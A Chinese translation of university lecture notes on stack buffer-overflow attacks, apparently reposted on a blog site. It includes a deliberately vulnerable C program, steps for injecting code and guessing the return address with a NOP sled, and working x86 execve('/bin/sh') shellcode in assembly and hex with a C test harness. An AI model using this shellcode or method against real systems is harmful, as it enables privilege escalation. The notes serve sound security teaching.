雪城大学信息安全讲义 4.1~4.2

四、缓冲区溢出漏洞和攻击

原文:Buffer-Overflow Vulnerabilities and Attacks

译者:飞龙

1 内存

这个讲义的“区域”(Area)和“段”(Segment)与多数教程正好相反,译文中已更正。

在 PC 架构中,程序中有四个基本读写段:栈、数据、BSS 和堆。数据、BSS 以及堆区可统称为“数据区域”。在“内存布局和栈”的教程中,Peter Jay Salzman 详细描述了内存布局。

  • 栈:栈通常在内存的高地址。通常“向下增长”:从高地址到低地址。无论何时进行函数调用,栈都会使用。

  • 数据区域

    • 数据段:包含程序所用的全局变量,它们不被初始化为 0。例如,字符串hello worldchar s[] = "hello world"定义,它在 C 中存在于数据段。
    • BSS 段:起始于数据段的末尾,并包含所有初始化为 0 的全局变量。例如,变量声明为static int,会包含在 BSS 段中。
    • 堆段:起始于 BSS 段的末尾,向高地址增长。堆段由malloc库管理。堆段由程序中所有共享库以及动态加载模块共享。

2 栈缓冲区溢出

2.1 栈的背景

  • 栈布局:下面的图片展示了在执行流进入函数func之后,栈的布局。

  • 栈方向:栈从高地址向低地址增长(而缓冲区正好相反)。

  • 返回地址:函数返回后所执行的地址。

    • 在进入函数之前,程序需要记住从函数返回之后,应该返回到哪里。也就是需要记住返回地址。

    • 返回地址是函数调用下一条指令的地址。

    • 返回地址会储存在栈上。在 x86 中,指令call func会将call语句下一条指令的地址压入栈中(返回地址区域),之后跳到func的代码处。

  • 帧指针(FP):用于引用局部变量和函数参数。这个指针储存在寄存器中(例如 x86 中是ebp寄存器)。下面,我们使用$FP来表示FP寄存器的值。

    • variable_a被引用为$FP-16
    • buffer被引用为$FP-12
    • str被引用为$FP+8
  • 缓冲区溢出问题:上面的程序拥有缓冲区溢出问题。

    • 函数strcpy(buffer, str)将内存从str复制到buffer
    • str指向的字符串多于 12 个字符,但是buffer的大小只为 12。
    • 函数strcpy不检查buffer是否到达了边界。它值在看到字符串末尾\0时停止。
    • 所以,str末尾的字符会覆盖buffer上面的内存中的内容。

2.2 漏洞程序

现在,让我们来看一个更复杂的程序。不像前面的程序,用于覆盖返回地址的字符串不是静态字符串,它通常由用户提供。换句话说,用户可以决定字符串中包含什么。

/* stack.c */
/* This program has a buffer overflow vulnerability. */ 
/* Our task is to exploit this vulnerability */ 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h>
int func (char *str) { 
    char buffer[12];
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv) { 
    char str[517]; 
    FILE *badfile;
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    func (str); 
    printf("Returned Properly\n"); 
    return 1;
}

我们并不难以看到上面的程序拥有缓冲区溢出问题。这个程序首先从badfile文件读取输入,之后将输入传递给bof中另一个缓冲区。原始输入最大为 517 个字节,但是bof中的缓冲区只有 12 个字节。因为strcpy不检查边界,会发生缓冲区溢出。如果这个程序是 Set-Root-UID 程序,普通用户就可以利用这个缓冲区溢出漏洞,并得到 Root 权限。

2.3 利用缓冲区溢出罗东

为了完全利用栈缓冲区溢出漏洞,我们需要解决几个挑战性的问题。

  • 注入恶意代码:我们需要能够像目标进程的内存中注入恶意代码。如果我们可以控制目标程序中,缓冲区的内存,就可以完成它。例如,在上面的例子中,程序从文件获取输入。我们可以将恶意代码保存到文件中,并且目标程序会将其读入内存。

  • 跳到恶意代码:使用内存中已有的恶意代码,如果目标程序可以跳到恶意代码的起始点,攻击者就能控制它。

  • 编写恶意代码:编写恶意代码并不犊砸,我们就展示一种特定类型的恶意代码,Shellcode,如何编写。

2.4 注入恶意代码

使用程序中的缓冲区溢出漏洞,我们可以轻易向运行的程序的内存中注入恶意代码。让我们假设恶意代码已经编写好了(我们会在稍后讨论如何编写恶意代码)。

在上面的漏洞程序中,程序从文件badfile读取内存,并且将内存复制到buffer。之后,我们可以简单将恶意代码(二进制形式)储存在badfile中,漏洞程序会将恶意代码复制到栈上的buffer(它会溢出buffer)。

2.5 跳到恶意代码

  • 为了跳到我们已经注入到目标程序栈上的恶意代码,我们需要知道代码的绝对地址,如果我们事先知道地址,在溢出缓冲区时,我们就可以使用这个地址来覆盖存放返回地址的内存。因此,当函数返回时,他就会返回到我们的恶意代码。

  • 下面就是寻找恶意代码从哪里开始的挑战。

  • 如果目标程序是个 Set-UID 程序,你可以复制这个程序,并使用你自己的权限来执行。你可以用这个方式来调试程序(要逐级你不能调试 Set-UID 程序)。在调试器中,你可以弄清楚buffer的地址,因此计算出恶意代码的起始点。buffer的地址可能和你运行 Set-UID 副本时不同,但已经很接近了。你可以尝试多个值。

  • 如果目标程序远程运行,并且你可能不能依赖调试器来寻找地址。但是,你可以始终猜测它。下面的事实是的猜测变得可行:

    • 栈通常起始于相同地址。
    • 栈通常不是很深:多数程序不会一次性压入成百上千字节。
    • 因此我们需要猜测的栈的范围实际非常小。
  • 提升几率:为了提升成功的几率,我们可以向恶意代码的顶部添加许多 NOP 指令。NOP 是个特殊的指令,除了步进到下一条指令之外,不做任何事情。因此,只要猜测的地址指向了 NOP 指令之一,攻击就成功了。使用这些 NOP,猜测指向恶意代码的正确地址的几率就会显著增加。

2.6 恶意代码:Shellcode

在前面的讨论中,我们假设恶意代码已经是可用的。这个章节中,我们会讨论如何编写这种恶意代码。

如果我们可以让特权程序执行我们的代码,我们想要它执行什么代码呢?最强大的代码就是调用 Shell,所以我们可以在其中执行任何我们想要执行的代码。目标为加载 Shell 的程序就叫做 Shellcode。为了了解如何编写 Shellcode,让我们来看看下面的 C 程序:

#include <stdio.h>
int main( ) { 
    char *name[2];
    name[0] = "/bin/sh"; 
    name[1] = NULL; 
    execve(name[0], name, NULL);
}

在我们将上面的程序编译为二进制代码之后,我们可以在缓冲区溢出工集中,直接使用二进制代码作为 Shellcode 嘛?事情并不是那么容易。如果我们直接使用上面的代码,就会有几个问题:

  • 首先,为了调用系统调用execve,我们需要知道/bin/sh的地址。字符串保存在哪里,以及如何获取字符串位置,并不是复杂的问题。

  • 其次,代码中有一些空字符。这会使strcpy停止,如果漏洞由strcpy导致,我们就会有问题。

为了解决第一个问题,我们可以将字符串/bin/sh压入栈中,之后使用栈指针esp获取字符串位置。为了解决第二个问题,我们可以将包含 0 的指令转换为另一条不包含 0 的指令,例如,为了将 0 储存到寄存器中,我们可以使用 XOR 指令,而不是直接将寄存器赋为 0。下面是个用汇编语言编写的 Shellcode 的例子:

Line 1: xorl %eax,%eax 
Line 2: pushl %eax        # push 0 into stack (end of string) 
Line 3: pushl $0x68732f2f # push "//sh" into stack 
Line 4: pushl $0x6e69622f # push "/bin" into stack 
Line 5: movl %esp,%ebx    # %ebx = name[0] 
Line 6: pushl %eax        # name[1] 
Line 7: pushl %ebx        # name[0] 
Line 8: movl %esp,%ecx    # %ecx = name 
Line 9: cdq               # %edx = 0 
Line 10: movb $0x0b,%al 
Line 11: int $0x80        # invoke execve(name[0], name, 0)

Shellcode 中的一些地方需要注意:

  • 首先,第三条指令将/sh压入到栈中。这是因为我们需要一个 32 位数值,/sh只有 24 位,幸运的地址,//等价于/,所以我们可以使用两个斜杠字符。

  • 其次,在调用execve系统调用之前,我们需要将name[0](字符串地址),name(数组地址),以及NULL储存到%ebx%ecx以及%edx寄存器。

    • 第五行将name[0]储存到`%ebx。
    • 第八行将name储存到%ecx
    • 第六航将%edx设为 0。有其他将它设为 0 的办法(例如xorl %edx, %edx)。这里使用的cdq是个简单的指令,将 EAX 最高位(第 31 位)复制到 EDX 寄存器的每一位,也就是将%edx设为 0。
  • 再者,execve系统调用在我们将%al设为 11 并执行int $0x80时调用。

如果我们将上面的代码转换为二进制,并将其储存在数组中,我们就行可以在 C 程序中调用:

#include <stdlib.h> 
#include <stdio.h>

const char code[] = 
    "\x31\xc0" /* Line 1: xorl %eax,%eax */ 
    "\x50" /* Line 2: pushl %eax */ 
    "\x68""//sh" /* Line 3: pushl $0x68732f2f */ 
    "\x68""/bin" /* Line 4: pushl $0x6e69622f */ 
    "\x89\xe3" /* Line 5: movl %esp,%ebx */ 
    "\x50" /* Line 6: pushl %eax */ 
    "\x53" /* Line 7: pushl %ebx */ 
    "\x89\xe1" /* Line 8: movl %esp,%ecx */ 
    "\x99" /* Line 9: cdq */ 
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */ 
    "\xcd\x80" /* Line 11: int $0x80 */ ;

int main(int argc, char **argv) { 
    char buf[sizeof(code)]; 
    strcpy(buf, code); 
    ((void(*)( ))buf)( ); 
}

上面main函数中的((void(*)( ))buf)( )语句会调用 Shell,因为执行了 Shellcode。

展开阅读全文
©️2020 CSDN 皮肤主题: 黑客帝国 设计师: 上身试试 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值